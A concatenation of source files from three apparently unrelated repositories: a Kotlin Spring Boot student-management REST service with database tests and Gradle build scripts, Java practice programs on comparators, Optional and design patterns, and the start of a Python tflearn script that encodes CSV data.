import org.springframework.http.HttpEntity
import org.springframework.http.HttpHeaders
import org.springframework.http.HttpMethod
import java.net.URI
import kotlin.test.assertEquals
@DBRider
@SpringBootTest(
classes = [StudentApplication::class],
webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT
)
class StudentControllerTest {
@LocalServerPort
var port: Int? = null
@Autowired
private lateinit var restTemplate: TestRestTemplate
@Test
@DataSet("datasets/interfaces/http/rest/student-controller/before-list.yml")
fun `test list students`() {
val url = createURLWithPort("/v1/students")
val expected = mutableListOf(StudentDTO(1, "raju", 15, 10),
StudentDTO(2, "shan", 12, 6))
val response = restTemplate.getForEntity(URI(url), Array<StudentDTO>::class.java)
Assertions.assertThat(response.body).containsExactly(*expected.toTypedArray())
}
@Test
@DataSet("datasets/interfaces/http/rest/student-controller/before-add.yml")
@ExpectedDataSet("datasets/interfaces/http/rest/student-controller/after-add.yml", ignoreCols = ["id"])
fun `test add student`() {
val request = AddStudentDTO (name = "raju", age = 15, standard = 10)
val entity = HttpEntity(request, HttpHeaders())
val expected = StudentDTO (id = 1, name = "raju", age = 15, standard = 10)
val response = restTemplate.exchange(createURLWithPort("/v1/student"), HttpMethod.POST, entity, StudentDTO::class.java)
assertEquals(expected, response.body)
}
private fun createURLWithPort(uri: String): String {
return "http://localhost:$port$uri"
}
}
<file_sep>package com.kaushikam.interfaces.http.rest
import com.kaushikam.application.StudentManagementService
import com.kaushikam.interfaces.http.rest.facade.AddStudentDTO
import com.kaushikam.interfaces.http.rest.facade.StudentDTO
import mu.KotlinLogging
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.http.HttpStatus
import org.springframework.http.ResponseEntity
import org.springframework.web.bind.annotation.GetMapping
import org.springframework.web.bind.annotation.PostMapping
import org.springframework.web.bind.annotation.RequestBody
import org.springframework.web.bind.annotation.RestController
private val logger = KotlinLogging.logger { }
@RestController
class StudentController @Autowired constructor (
private val mgmtService: StudentManagementService
) {
@PostMapping("/v1/student")
fun addStudent(
@RequestBody
request: AddStudentDTO
): ResponseEntity<StudentDTO> {
logger.info { "Request for adding student: $request" }
val student = request.toStudent()
mgmtService.addStudent(student)
logger.info { "Student got added and id is $student.id" }
val response = StudentDTO.build(student)
return ResponseEntity(response, HttpStatus.CREATED)
}
@GetMapping("/v1/students")
fun listStudents(): ResponseEntity<List<StudentDTO>> {
logger.info { "Listing students" }
val students = mgmtService.listStudents()
logger.info { "Total number of students is ${students.size}" }
val list = mutableListOf<StudentDTO>()
students.forEach { student ->
val dto = StudentDTO.build(student)
list.add(dto)
}
return ResponseEntity(list, HttpStatus.OK)
}
}<file_sep>package com.kaushikam.domain.model.student
import javax.persistence.*
@Entity
@Table(name = "student")
class Student (
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
val id: Long? = null,
@Column(name = "name")
val name: String,
@Column(name = "age")
val age: Int,
@Column(name = "standard")
val standard: Int
)<file_sep>package com.kaushikam.infrastructure.repository.hibernate
import com.github.database.rider.core.api.dataset.DataSet
import com.github.database.rider.core.api.dataset.ExpectedDataSet
import com.github.database.rider.junit5.api.DBRider
import com.kaushikam.domain.model.student.Student
import com.kaushikam.domain.model.student.StudentRepository
import com.kaushikam.spring.config.ApplicationConfig
import com.kaushikam.spring.config.DomainConfig
import com.kaushikam.spring.config.PersistenceConfig
import org.junit.jupiter.api.Test
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.boot.test.context.SpringBootTest
import kotlin.test.assertEquals
import kotlin.test.assertNotNull
@DBRider
@SpringBootTest(
classes = [DomainConfig::class, PersistenceConfig::class, ApplicationConfig::class]
)
class HibernateStudentRepositoryIntegrationTest {
@Autowired
private lateinit var studentRepository: StudentRepository
@Test
@DataSet("datasets/sql/repository/student-repository/before-save.yml")
@ExpectedDataSet("datasets/sql/repository/student-repository/after-save.yml", ignoreCols = ["id"])
fun `test save student`() {
val student = Student(name = "raju", age = 15, standard = 10)
studentRepository.save(student)
val saved = studentRepository.findAllByName("raju")
assertNotNull(student.id)
assertEquals(1, studentRepository.count())
assertEquals(1, saved.size)
}
}<file_sep>package com.kaushikam.spring.config
import com.kaushikam.application.impl.StudentManagementServiceImpl
import org.springframework.boot.autoconfigure.EnableAutoConfiguration
import org.springframework.context.annotation.ComponentScan
import org.springframework.context.annotation.Configuration
import org.springframework.context.annotation.PropertySource
import org.springframework.context.annotation.PropertySources
@Configuration
@PropertySources(
PropertySource("classpath:test-application.properties")
)
@EnableAutoConfiguration
@ComponentScan(basePackageClasses = [StudentManagementServiceImpl::class])
class ApplicationConfig<file_sep>package com.kaushikam.domain.model.student
interface StudentRepository {
fun save(persisted: Student)
fun findAll(): List<Student>
fun findById(id: Long): Student?
fun findAllByName(name: String): List<Student>
fun count(): Long
}<file_sep>import org.jetbrains.kotlin.gradle.tasks.KotlinCompile
allprojects {
repositories {
mavenCentral()
jcenter()
}
group = "com.kaushikam"
version = "0.0.1"
}
plugins {
base
kotlin("jvm") version ("1.3.61") apply false
kotlin("plugin.spring") version ("1.3.61") apply false
kotlin("plugin.jpa") version ("1.3.61") apply false
kotlin("plugin.allopen") version ("1.3.61") apply false
id ("org.springframework.boot") version ("2.2.1.RELEASE") apply false
id ("io.spring.dependency-management") version ("1.0.8.RELEASE")
}
subprojects {
apply {
plugin("org.jetbrains.kotlin.jvm")
plugin("io.spring.dependency-management")
}
dependencyManagement {
imports {
mavenBom(org.springframework.boot.gradle.plugin.SpringBootPlugin.BOM_COORDINATES)
}
}
configure<JavaPluginExtension> {
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
tasks.withType<Test> {
useJUnitPlatform()
}
tasks.withType<KotlinCompile>().configureEach {
kotlinOptions {
freeCompilerArgs = listOf("-Xjsr305=strict")
jvmTarget = "1.8"
}
}
dependencies {
val implementation by configurations
val testImplementation by configurations
val testRuntimeOnly by configurations
val annotationProcessor by configurations
implementation(kotlin("stdlib-jdk8"))
implementation(kotlin("reflect"))
implementation("ch.qos.logback:logback-classic")
implementation("org.codehaus.groovy:groovy:2.5.6")
implementation("io.github.microutils:kotlin-logging:1.6.25")
// Spring configuration processor
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
// Kotlin test libraries
testImplementation(kotlin("test"))
// Spring test
testImplementation("org.springframework.boot:spring-boot-starter-test") {
exclude(group = "org.junit.vintage", module = "junit-vintage-engine")
exclude(module = "mockito-core")
}
// Mockk
testImplementation("com.ninja-squad:springmockk:1.1.2")
// Junit jupiter engine
testRuntimeOnly("org.junit.jupiter:junit-jupiter-engine")
}
// Profile specific lambda functions
extra["execProfile"] = {
val buildProfile: String by project
var profileFileRelativePath = "profiles/profile-$buildProfile.gradle.kts"
var profileFile = file(".").absoluteFile.resolve(profileFileRelativePath)
if (!profileFile.exists())
profileFileRelativePath = "profiles/profile-development.gradle.kts"
profileFile = file(".").absoluteFile.resolve(profileFileRelativePath)
profileFile.absolutePath
}
extra.set("getConfig", {
val configFileRelativePath = "profiles/common.gradle.kts"
file(".").absoluteFile.resolve(configFileRelativePath).absolutePath
})
}<file_sep>val getConfig: () -> String by extra
apply(from=getConfig())
val applicationProperties: HashMap<String, String> by extra
applicationProperties["datasourceUsername"] = "sa"
applicationProperties["datasourcePassword"] = ""
applicationProperties["datasourceUrl"] = "jdbc:h2:$rootDir/db/test;DB_CLOSE_DELAY=-1;"
tasks.getByName<ProcessResources>("processTestResources") {
filesMatching(listOf("test-application.properties", "dbunit.yml")) {
expand(applicationProperties)
}
}
/*tasks.getByName<ProcessResources>("processResources") {
filesMatching("application.properties") {
expand(applicationProperties)
}
}*/
<file_sep>plugins {
kotlin("plugin.spring")
id("org.springframework.boot")
war
}
tasks.withType<War> {
archiveBaseName.set("student")
archiveVersion.set(project.version.toString())
}
dependencies {
implementation(project(":student"))
implementation("com.h2database:h2")
// Hibernate Cache
implementation("org.hibernate:hibernate-ehcache")
implementation("org.springframework.boot:spring-boot-starter-data-jpa")
implementation("org.springframework.boot:spring-boot-starter-web")
implementation("com.fasterxml.jackson.module:jackson-module-kotlin")
// DBUnit
testImplementation("org.dbunit:dbunit:2.6.0")
testImplementation("com.github.database-rider:rider-core:1.7.2")
testImplementation("com.github.database-rider:rider-spring:1.7.2"){
exclude(group="org.slf4j", module="slf4j-simple")
}
testImplementation("com.github.database-rider:rider-junit5:1.7.2")
}
val execProfile: () -> String by extra
apply(from=execProfile)<file_sep>extra["applicationProperties"] = hashMapOf(
"datasourceUrl" to "jdbc:h2:mem:testdb",
"datasourceDriverClassName" to "org.h2.Driver",
"datasourceUsername" to "kaushik",
"datasourcePassword" to "<PASSWORD>",
"datatypeFactory" to "org.dbunit.ext.h2.H2DataTypeFactory",
"shouldShowSQL" to "true",
"shouldFormatSQL" to "true",
"hibernateDialect" to "org.hibernate.dialect.H2Dialect",
"shouldGenerateStatistics" to "true",
"shouldUseSecondLevelCache" to "true",
"hibernateCacheRegionFactoryClass" to "org.hibernate.cache.ehcache.EhCacheRegionFactory",
"sharedCacheMode" to "ENABLE_SELECTIVE",
"webApplicationType" to "servlet",
"loggingFileName" to "student.log",
"loggingFilePath" to "$rootDir/log",
"maxLoggingHistorySize" to "10",
"maxLoggingFileSizeInMB" to "50MB",
"hibernateStatisticsLoggingLevel" to "DEBUG",
"hibernateTypeLoggingLevel" to "DEBUG",
"hibernateEhCacheLoggingLevel" to "INFO",
"applicationLoggingLevel" to "TRACE",
"rootLoggingLevel" to "INFO"
)
<file_sep>rootProject.name = "spring-multi-module"
include("student")
include("rest-api")
rootProject.children.forEach { subProject ->
subProject.buildFileName = "${subProject.name}.gradle.kts"
}
<file_sep>package com.kaushikam
import org.springframework.boot.autoconfigure.SpringBootApplication
import org.springframework.boot.runApplication
import org.springframework.context.annotation.PropertySource
import org.springframework.context.annotation.PropertySources
@SpringBootApplication
@PropertySources(
PropertySource("classpath:test-application.properties")
)
class StudentTestApplication
fun main(args: Array<String>) {
runApplication<StudentTestApplication>(*args)
}<file_sep>package com.kaushikam.spring.config
import com.kaushikam.infrastructure.repository.hibernate.HibernateStudentRepository
import org.springframework.context.annotation.Configuration
import org.springframework.data.jpa.repository.config.EnableJpaRepositories
import org.springframework.transaction.annotation.EnableTransactionManagement
@Configuration
@EnableTransactionManagement
@EnableJpaRepositories(basePackageClasses = [HibernateStudentRepository::class])
class PersistenceConfig<file_sep>package com.kaushikam.interfaces.http.rest.facade
import com.kaushikam.domain.model.student.Student
data class StudentDTO (
val id: Long,
val name: String,
val age: Int,
val standard: Int
) {
companion object {
@JvmStatic
fun build(student: Student): StudentDTO {
return StudentDTO (
id = student.id!!,
name = student.name,
age = student.age,
standard = student.standard
)
}
}
}<file_sep>package com.kaushikam.infrastructure.repository.hibernate
import com.kaushikam.domain.model.student.Student
import com.kaushikam.domain.model.student.StudentRepository
import org.springframework.data.repository.Repository
import org.springframework.transaction.annotation.Transactional
@Transactional
interface HibernateStudentRepository: Repository<Student, Long>, StudentRepository<file_sep>package com.kaushikam.interfaces.http.rest.facade
import com.kaushikam.domain.model.student.Student
data class AddStudentDTO (
val name: String,
val age: Int,
val standard: Int
) {
fun toStudent(): Student {
return Student(name = name, age = age, standard = standard)
}
}<file_sep>create schema if not exists eabacus;
SET SCHEMA eabacus;<file_sep>package com.kaushikam.application.impl
import com.github.database.rider.core.api.dataset.DataSet
import com.github.database.rider.core.api.dataset.ExpectedDataSet
import com.github.database.rider.spring.api.DBRider
import com.kaushikam.application.StudentManagementService
import com.kaushikam.domain.model.student.Student
import com.kaushikam.spring.config.ApplicationConfig
import com.kaushikam.spring.config.DomainConfig
import com.kaushikam.spring.config.PersistenceConfig
import org.junit.jupiter.api.Test
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.boot.test.context.SpringBootTest
import kotlin.test.assertEquals
@DBRider
@SpringBootTest (
classes = [DomainConfig::class, PersistenceConfig::class, ApplicationConfig::class]
)
class StudentManagementServiceImplTest {
@Autowired
private lateinit var mgmtService: StudentManagementService
@Test
@DataSet("datasets/application/student-management/before-add.yml")
@ExpectedDataSet("datasets/application/student-management/after-add.yml", ignoreCols = ["id"])
fun `test add student`() {
val student = Student(name = "raju", age = 15, standard = 10)
mgmtService.addStudent(student)
}
@Test
@DataSet("datasets/application/student-management/before-list.yml")
fun `test list students`() {
val students = mgmtService.listStudents()
assertEquals(2, students.size)
}
}
<file_sep>package com.kaushikam.application
import com.kaushikam.domain.model.student.Student
interface StudentManagementService {
fun addStudent(student: Student)
fun listStudents(): List<Student>
}<file_sep>import org.springframework.boot.gradle.tasks.bundling.BootJar
plugins {
kotlin("plugin.jpa")
kotlin("plugin.spring")
kotlin("plugin.allopen")
}
allOpen {
annotation("javax.persistence.Entity")
annotation("javax.persistence.Embeddable")
annotation("javax.persistence.MappedSuperclass")
}
tasks.withType<BootJar> { enabled = false }
dependencies {
implementation("com.h2database:h2")
// Hibernate Cache
implementation("org.hibernate:hibernate-ehcache")
// Spring
implementation("org.springframework.boot:spring-boot-starter-data-jpa")
// DBUnit
testImplementation("org.dbunit:dbunit:2.6.0")
testImplementation("com.github.database-rider:rider-core:1.7.2")
testImplementation("com.github.database-rider:rider-spring:1.7.2"){
exclude(group="org.slf4j", module="slf4j-simple")
}
testImplementation("com.github.database-rider:rider-junit5:1.7.2")
}
val execProfile: () -> String by extra
apply(from=execProfile)
<file_sep>extra["applicationProperties"] = hashMapOf(
"datasourceUrl" to "jdbc:h2:mem:testdb",
"datasourceDriverClassName" to "org.h2.Driver",
"datasourceUsername" to "kaushik",
"datasourcePassword" to "<PASSWORD>",
"datatypeFactory" to "org.dbunit.ext.h2.H2DataTypeFactory",
"shouldShowSQL" to "true",
"shouldFormatSQL" to "true",
"hibernateDialect" to "org.hibernate.dialect.H2Dialect",
"shouldGenerateStatistics" to "true",
"shouldUseSecondLevelCache" to "true",
"hibernateCacheRegionFactoryClass" to "org.hibernate.cache.ehcache.EhCacheRegionFactory",
"sharedCacheMode" to "ENABLE_SELECTIVE"
)
<file_sep>package com.kaushikam
import org.springframework.boot.autoconfigure.SpringBootApplication
import org.springframework.boot.runApplication
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer
@SpringBootApplication
class StudentApplication: SpringBootServletInitializer()
fun main(args: Array<String>) {
runApplication<StudentApplication>(*args)
} | 034da7c4f78126b50928c33073d8af3fb885bc40 | [
"SQL",
"Kotlin"
] | 24 | Kotlin | kaushikam/spring-multi-module | 9560d69152028f848e9227435791425ab15be120 | 77a45339be5344e6bcd6313d51b7e52007854793 |
refs/heads/master | <repo_name>jagannath-sahu/java-programs<file_sep>/DataAlgorith/src/com/design/Demo.java
package com.design;
public class Demo {
public static void main(String[] args) {
// TODO Auto-generated method stub
Brain1 brain1 = new Brain1();
brain1.start();
brain1.initBrain();
}
}
<file_sep>/DataAlgorith/src/com/basics/Operator.java
package com.basics;
import java.util.HashMap;
import java.util.Map;
public enum Operator {
H("Hydrogen"),
HE("Helium"),
// ...
NE("Neon"),
NOT_LIKE("not like");
private String operator;
private static Map<String, String> cond;
static {
cond = new HashMap<>();
cond.put(H.getOperator(), "Hydrogen");
cond.put(HE.getOperator(), "Helium");
cond.put(NE.getOperator(), "Neon");
cond.put(NOT_LIKE.getOperator(), "not like");
}
Operator(final String operator) {
this.operator = operator;
}
public String getOperator() {
return operator;
}
public static Operator matchOperator(final String enumDemo) {
Operator[] operators;
operators = Operator.values();
for (Operator opr : operators) {
if (opr.getOperator().equalsIgnoreCase(enumDemo)) {
return opr;
}
else if (enumDemo.indexOf(opr.getOperator()) == 0 && enumDemo.contains("_") && opr.getOperator().equalsIgnoreCase(enumDemo.substring(0, enumDemo.indexOf('_')))) {
return opr;
}
}
return null;
}
public static String getCond(final String operatorName) {
return cond.get(operatorName);
}
}
<file_sep>/DataAlgorith/src/com/design/Brain1.java
package com.design;
import java.io.UnsupportedEncodingException;
import java.util.Collections;
import java.util.Map;
public class Brain1 extends BavrdVerticle{
@Override
public void startBavrd() {
System.out.println("start Bavrd");
}
@Override
public BavrdComponent getType() {
return BavrdComponent.BRAIN;
}
@Override
public Map<String, String> getHelp() { return Collections.emptyMap(); }
//those who will extend Brain1, they can override and implement
public void initBrain() {
throw new UnsupportedOperationException("Current operation is not supported for this object");
}
//those who will extend Brain1, they can override and implement
public Object get(String key) {
throw new UnsupportedOperationException("Current operation is not supported for this object");
}
}
<file_sep>/DataAlgorith/src/com/comparator/thenComparing/Student.java
package com.comparator.thenComparing;
import java.util.Arrays;
import java.util.List;
public class Student {
private String name;
private int age;
private long homeDistance;
private double weight;
private School school;
public Student(String name, int age, long homeDistance, double weight, School school) {
this.name = name;
this.age = age;
this.homeDistance = homeDistance;
this.weight = weight;
this.school = school;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public long getHomeDistance() {
return homeDistance;
}
public double getWeight() {
return weight;
}
public School getSchool() {
return school;
}
public static List<Student> getStudentList() {
Student s1 = new Student("Ram", 18, 3455, 60.75, new School("AB College", "Noida"));
Student s2 = new Student("Shyam", 22, 3252, 65.80, new School("RS College", "Gurugram"));
Student s3 = new Student("Mohan", 18, 1459, 65.20, new School("AB College", "Noida"));
Student s4 = new Student("Mahesh", 22, 4450, 70.25, new School("RS College", "Gurugram"));
Student s5 = new Student("mohan", 19, 1459, 65.20, new School("AB College", "Noida"));
Student s6 = new Student("mahesh", 23, 4450, 70.25, new School("RS College", "Gurugram"));
List<Student> list = Arrays.asList(s1, s2, s3, s4, s5, s6);
return list;
}
}
<file_sep>/DataAlgorith/src/ListOfMapToMap.java
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public class ListOfMapToMap {
public static void main(String[] args) {
Map<String, Long> map = new HashMap<>();
map.put("Apple", 2L);
map.put("Banana", 2L);
Map<String, Long> map1 = new HashMap<>();
map1.put("Apple", 2L);
map1.put("Orange", 2L);
Map<String, Long> map2 = new HashMap<>();
map1.put("Banana", 2L);
map1.put("Guava", 2L);
List<Map<String, Long>> mapList = new ArrayList<>();
mapList.add(map);
mapList.add(map1);
mapList.add(map2);
final Optional<Map<String, Long>> reduce = mapList.stream().reduce((firstMap, secondMap) -> {
return Stream.concat(firstMap.entrySet().stream(), secondMap.entrySet().stream())
.collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue,
(countInFirstMap, countInSecondMap) -> countInFirstMap + countInSecondMap));
});
System.out.println(reduce.get());
}
}<file_sep>/DataAlgorith/src/com/design/interfaceimpl/Demo.java
package com.design.interfaceimpl;
public class Demo {
public static void main(String[] args) {
Frog frog = new Frog(29);
String habitatWhenYoung = frog.getHabitat();
System.out.println(habitatWhenYoung); // water
frog.liveOneDay();
String habitatWhenOld = frog.getHabitat();
System.out.println(habitatWhenOld); // ground
}
}
<file_sep>/DataAlgorith/src/ExampleToChangeAllInstanceAtOnce.java
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
public class ExampleToChangeAllInstanceAtOnce {
private static List<ExampleToChangeAllInstanceAtOnce> all = Collections.synchronizedList(
new ArrayList<>());
public volatile int _x; //_x and _y are NOT static
public volatile int _y;
ExampleToChangeAllInstanceAtOnce (int x, int y) {
this._x = x;
this._y = y;
ExampleToChangeAllInstanceAtOnce.all.add(this);
}
public void zeroThem() {
_x = 0;
_y = 0;
}
@Override
public String toString() {
return "Example [_x=" + _x + ", _y=" + _y + "]";
}
public static void zeroAll() {
synchronized(ExampleToChangeAllInstanceAtOnce.all) {
ExampleToChangeAllInstanceAtOnce.all.forEach(ExampleToChangeAllInstanceAtOnce::zeroThem);
}
}
public static void main(String[] args) {
ExampleToChangeAllInstanceAtOnce e1 = new ExampleToChangeAllInstanceAtOnce(5,6);
ExampleToChangeAllInstanceAtOnce e2 = new ExampleToChangeAllInstanceAtOnce(1,2);
System.out.println("Intial Values: " + e1 + "->" + e2);
ExampleToChangeAllInstanceAtOnce.zeroAll();
System.out.println("Updated Values: " + e1 + "->" + e2);
}
}
<file_sep>/DataAlgorith/src/com/biConsumerBiFunctionBiPredicate/BiPredicateDemo.java
package com.biConsumerBiFunctionBiPredicate;
import java.util.function.BiPredicate;
public class BiPredicateDemo {
public static void main(String[] args) {
BiPredicate<Integer, String> condition = (i, s) -> i > 20 && s.startsWith("R");
System.out.println(condition.test(10, "Ram"));
System.out.println(condition.test(30, "Shyam"));
System.out.println(condition.test(30, "Ram"));
}
}
<file_sep>/DataAlgorith/src/com/comparator/ListSortDemo.java
package com.comparator;
import java.util.Arrays;
import java.util.Comparator;
import java.util.List;
public class ListSortDemo {
public static void main(String[] args) {
List<Integer> numList = Arrays.asList(12, 10, 15, 8, 11);
numList.sort(Comparator.reverseOrder());
numList.forEach(n -> System.out.print(n + " "));
System.out.println("\n-----------");
List<String> strList = Arrays.asList("Varanasi", "Allahabad", "Kanpur", "Noida");
strList.sort(Comparator.reverseOrder());
strList.forEach(s -> System.out.print(s + " "));
System.out.println("\n-----------");
List<Student> stdList = Student.getStudentList();
stdList.sort(Comparator.reverseOrder());
stdList.forEach(s -> System.out.print(s.getName() + " "));
}
}
<file_sep>/DataAlgorith/src/com/design/interfaceimpl/Animal.java
package com.design.interfaceimpl;
public interface Animal {
String getHabitat();
}
<file_sep>/DataAlgorith/src/com/design/strategyUsingLamda/Sample.java
package com.design.strategyUsingLamda;
import java.util.Arrays;
import java.util.List;
import java.util.function.Predicate;
public class Sample {
public static void main(String[] args) {
List<Integer> values = Arrays.asList(1, 2, 3, 4, 5, 6);
System.out.println(totalValues(values, e -> true));
System.out.println(totalValues(values, e -> e % 2 == 0));
System.out.println(totalValues(values, e -> e % 2 != 0));
}
public static int totalValues(List<Integer> numbers, Predicate<Integer> selector) {
int total = 0;
for(int i : numbers) {
if(selector.test(i)) {
total += i;
}
}
return total;
}
}
<file_sep>/DataAlgorith/src/com/comparator/thenComparing/ThenComparingDemo.java
package com.comparator.thenComparing;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
public class ThenComparingDemo {
public static void main(String[] args) {
List<Student> list = Student.getStudentList();
System.out.println("--------Example-1---------");
Comparator<Student> compByStdName = Comparator.comparing(Student::getName);
Comparator<Student> schoolComparator1 = Comparator.comparing(Student::getAge) // sort by student age
.thenComparing(compByStdName); // then sort by student name
Collections.sort(list, schoolComparator1);
list.forEach(s -> System.out.println(s.getName() + "-" + s.getAge()));
System.out.println("--------Example-2---------");
Comparator<Student> schoolComparator2 = Comparator.comparing(Student::getSchool) // sort by school natural ordering
// i.e. city
.thenComparing(Student::getAge) // then sort by student age
.thenComparing(Student::getName); // then sort by student name
Collections.sort(list, schoolComparator2);
list.forEach(s -> System.out.println(s.getName() + "-" + s.getAge() + "-" + s.getSchool().getCity()));
System.out.println("--------Example-3---------");
Comparator<Student> schoolComparator3 = Comparator.comparing(Student::getSchool) // sort by school natural ordering
// i.e. city
.thenComparing(Student::getSchool, (school1, school2) -> school1.getSname().compareTo(school2.getSname())) // then
// sort
// by
// school
// name
.thenComparing(Student::getAge) // then sort by student age
.thenComparing(Student::getName); // then sort by student name
Collections.sort(list, schoolComparator3);
list.forEach(s -> System.out
.println(s.getName() + "-" + s.getAge() + "-" + s.getSchool().getSname() + "-" + s.getSchool().getCity()));
}
}
<file_sep>/DataAlgorith/src/com/optional/ExampleOfFindFirstInUserDefined.java
package com.optional;
import java.util.ArrayList;
import java.util.Optional;
public class ExampleOfFindFirstInUserDefined {
public static void main(String[] args)
{
ArrayList<Student> listOfStudent = new ArrayList<Student>();
listOfStudent.add(new Student(010, "MTech", "Ram"));
listOfStudent.add(new Student(200, "MCA", "Sham"));
listOfStudent.add(new Student(103, "MCA", "Mohan"));
listOfStudent.add(new Student(148, "BCA", "Lia"));
listOfStudent.add(new Student(050, "BCOM", "Rai"));
//Fining first the first student in Stream
Optional<Student> firstStudent = listOfStudent.stream().findFirst();
if(firstStudent.isPresent())
System.out.println("Name of first Student: "+ firstStudent.get().getName());
// Finding first student from class MCA
Optional<Student> firstStudentFromMCA = listOfStudent.stream()
.filter(student -> student.getClassName().equals("MCA")).findFirst();
if(firstStudentFromMCA.isPresent())
System.out.println("Name of first Student from MCA: "+ firstStudentFromMCA.get().getName());
}
}
<file_sep>/DataAlgorith/src/com/optional/Student.java
package com.optional;
class Student
{
int rollNo;
String className;
String name;
public Student(int rollNo, String className, String name)
{
this.rollNo = rollNo;
this.className = className;
this.name = name;
}
public int getRollNo()
{
return rollNo;
}
public void setRollNo(int rollNo)
{
this.rollNo = rollNo;
}
public String getClassName()
{
return className;
}
public void setClassName(String className)
{
this.className = className;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}<file_sep>/DataAlgorith/src/com/design/Brain.java
package com.design;
import java.util.Collections;
import java.util.Map;
public abstract class Brain extends BavrdVerticle{
@Override
public void startBavrd() {
initBrain();
}
@Override
public BavrdComponent getType() {
return BavrdComponent.BRAIN;
}
@Override
public Map<String, String> getHelp() { return Collections.emptyMap(); }
/**
* initialize the BAVRD Brain instance
*/
public abstract void initBrain();
/**
* in reaction to a BAVRD get message, return the value stored by the brain
* @param key the looked up key
* @return the value stored by the brain or null if none
*/
public abstract Object get(String key);
/**
* in reaction to a BAVRD put message, store a value in the brain
* @param key the key to which the value will be stored
* @param value the value to store
* @return the old value for same key, or null if none
*/
public abstract Object put(String key, Object value);
}
<file_sep>/DataAlgorith/src/Anagrams.java
import java.util.*;
import java.io.*;
public class Anagrams {
public static void main(String[] args) {
int minGroupSize = Integer.parseInt(args[1]);
Map<String, List<String>> m = new HashMap<String, List<String>>();
try {
Scanner sc = new Scanner(new File(args[0]));
while (sc.hasNext()) {
String word = sc.next();
word = word.trim();
// split all non-alphabetic characters
String delims = "\\W+"; // split any non word
String[] words = word.split(delims);
// print the tokens
for (String wordAfterTrimNonchar : words) {
String alpha = alphabetize(wordAfterTrimNonchar);
List<String> l = m.get(alpha);
if (l == null)
m.put(alpha, l=new ArrayList<String>());
l.add(wordAfterTrimNonchar);
}
}
sc.close();
} catch (IOException e) {
System.err.println(e);
System.exit(1);
}
System.out.println("final map: " + m);
// Print all permutation groups above size threshold
for (List<String> l : m.values())
if (l.size() >= minGroupSize)
System.out.println(l.size() + ": " + l);
}
private static String alphabetize(String s) {
char[] a = s.toCharArray();
Arrays.sort(a);
return new String(a);
}
}<file_sep>/DataAlgorith/src/com/design/usingdeafaultmethod/AlternativeGreetingService.java
package com.design.usingdeafaultmethod;
/**
* An alternative implementation of GreetingService the provides it's own implementation of {@link #greet()}.
*/
public interface AlternativeGreetingService {
default String greet() {
return "Alternative Greeting!";
}
}
<file_sep>/DataAlgorith/src/com/design/usingdeafaultmethod/AbstractGreetingService.java
package com.design.usingdeafaultmethod;
/**
* An abstract base class for GreetingService implementations that forces derived classes to implement {@link #greet()}
* by making it abstract.
*/
abstract class AbstractGreetingService implements GreetingService {
@Override
public abstract String greet();
}
<file_sep>/DataAlgorith/src/com/comparator/thenComparing/ThenComparingDoubleDemo.java
package com.comparator.thenComparing;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
public class ThenComparingDoubleDemo {
public static void main(String[] args) {
List<Student> list = Student.getStudentList();
Comparator<Student> comparator = Comparator.comparing(Student::getName, (s1, s2) -> s1.charAt(0) - s2.charAt(0))
.thenComparingDouble(Student::getWeight);
Collections.sort(list, comparator);
list.forEach(s -> System.out.println(s.getName() + "-" + s.getWeight()));
}
}
<file_sep>/DataAlgorith/src/com/design/BavrdVerticle.java
package com.design;
import java.util.Map;
//extending Vertcle abstract class and adding new abstract methods
public abstract class BavrdVerticle extends Verticle {
/**
* default init behavior for a BAVRD Verticle : save help, init bavrd module
*/
@Override
public void start() {
Map<String, String> helpMap = getHelp();
if (!helpMap.isEmpty()) {
System.out.println("not empty");
} else {
System.out.println("empty");
}
startBavrd();
}
/** init method for the concrete BAVRD Verticle */
public abstract void startBavrd();
/** @return the type of this module */
public abstract BavrdComponent getType();
/** @return a map of commands this module reacts to (command representation - command description) */
public abstract Map<String, String> getHelp();
}<file_sep>/DataAlgorith/src/com/design/MainBot.java
package com.design;
//implementation implementing the abstract method without new own abstract method
public class MainBot extends Verticle{
@Override
public void start() {
System.out.println("starting------------");
}
}
<file_sep>/DataAlgorith/src/com/optionalMapFlatMap/OptionalFilter.java
package com.optionalMapFlatMap;
import java.util.Optional;
import java.util.function.Predicate;
public class OptionalFilter {
public static void main(String[] args) {
Optional<PrimeMinister> pm = Optional.of(new PrimeMinister("<NAME>"));
// Using Optional.filter
Predicate<PrimeMinister> pmPredicate = p -> p.getName().length() > 15;
System.out.println(pm.filter(pmPredicate));
}
}
| 1e84fa0b9623fb55520842e31e9d12d0a27f6744 | [
"Java"
] | 22 | Java | jagannath-sahu/java-programs | a2b71eeac2038230eb0b6b2a251a5107747756db | f4093dff97a61506e6e255a0e463e0e85e61867a |
refs/heads/main | <file_sep>import os
import csv
import json
from random import shuffle
import numpy as np
import tflearn
from tflearn.layers.conv import conv_2d, max_pool_2d
from tflearn.layers.core import input_data, dropout, fully_connected
from tflearn.layers.estimator import regression
import tensorflow as tf
LR=1e-3
MODEL_NAME='NotDelicious-{}-{}.model'.format(LR,'2conv-basic-video')
def train():
train=[]
with open("dataset.csv") as s:
thereader=csv.reader(s)
for row in thereader:
age=row[0]
if age=="child":
age='0000'
elif age=="adult1":
age='0001'
elif age=="adult2":
age='0010'
elif age=="adult3":
age='0011'
elif age=="adult4":
age='0100'
elif age=="senior citizen":
age='0101'
elif age=="toddler":
age='0110'
row[0]=age
gender=row[1]
if gender=="female":
gender="0001"
elif gender=="male":
gender="0010"
row[1]=gender
intensity=row[2]
if intensity=="mild":
intensity="0000"
elif intensity=="moderate":
intensity="0001"
elif intensity=="extreme":
intensity="0010"
row[2]=intensity
